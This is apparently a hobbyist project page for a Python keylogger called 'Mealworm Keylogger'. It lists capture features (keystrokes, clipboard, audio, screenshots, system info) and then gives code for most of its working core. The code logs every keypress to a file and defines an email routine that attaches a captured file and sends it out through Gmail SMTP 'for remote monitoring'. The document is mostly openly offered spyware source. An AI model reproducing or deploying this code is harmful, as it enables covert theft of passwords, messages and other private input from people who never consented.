Keylogger Project

Hey!! heres the little corner of the internet where I talk about my projects, the Mealworm Keylogger. This is a basic Python based keylogger, which is basically a program that captures keyboard inputs.

What's Inside?

Here's a quick rundown of the tech stuff that makes this keylogger work:

• Email: Uses smtplib to send captured keystrokes via email.
• System Info: Gathers system details using socket and platform.
• Clipboard Access: Reads clipboard contents with win32clipboard.
• Keyboard Listening: Listens to keyboard events using pynput.
• Audio Recording: Captures audio with sounddevice and saves it using scipy.io.wavfile.
• Encryption: Uses cryptography.fernet for encrypting sensitive data.
• Screenshot: Takes screenshots using PIL.ImageGrab.

How It Works

The keylogger captures keystrokes and periodically saves them to a file. It can also email the captured data for remote monitoring. Here's a brief look at the code:

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
import socket
import platform
import win32clipboard
from pynput.keyboard import Key, Listener
import time
import os
from scipy.io.wavfile import write
import sounddevice as sd
from cryptography.fernet import Fernet
import getpass
from requests import get
from multiprocessing import Process, freeze_support
from PIL import ImageGrab

keys_info = 'key_log.txt'
email_address = "ya email goes here"
password = ''
toaddr = 'to email here'
file_path = 'your file path here'
extend = '\\'

def send_email(filename, attachment, toaddr):
    fromaddr = email_address
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "cake cake cake"

    body = "Body_of_the_mail"
    msg.attach(MIMEText(body,'plain'))
    attachment = open(attachment, 'rb')

    p = MIMEBase('application', 'octet-stream')
    p.set_payload(attachment.read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', 'attachment; filename= %s' % filename)
    msg.attach(p)

    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(fromaddr, password)
    text = msg.as_string()
    s.sendmail(fromaddr, toaddr, text)
    s.quit()

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    if count >= 1:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open(file_path + extend + keys_info, "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find('space') > 0:
                f.write('\n')
            elif k.find('Key') == -1:
                f.write(k)

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
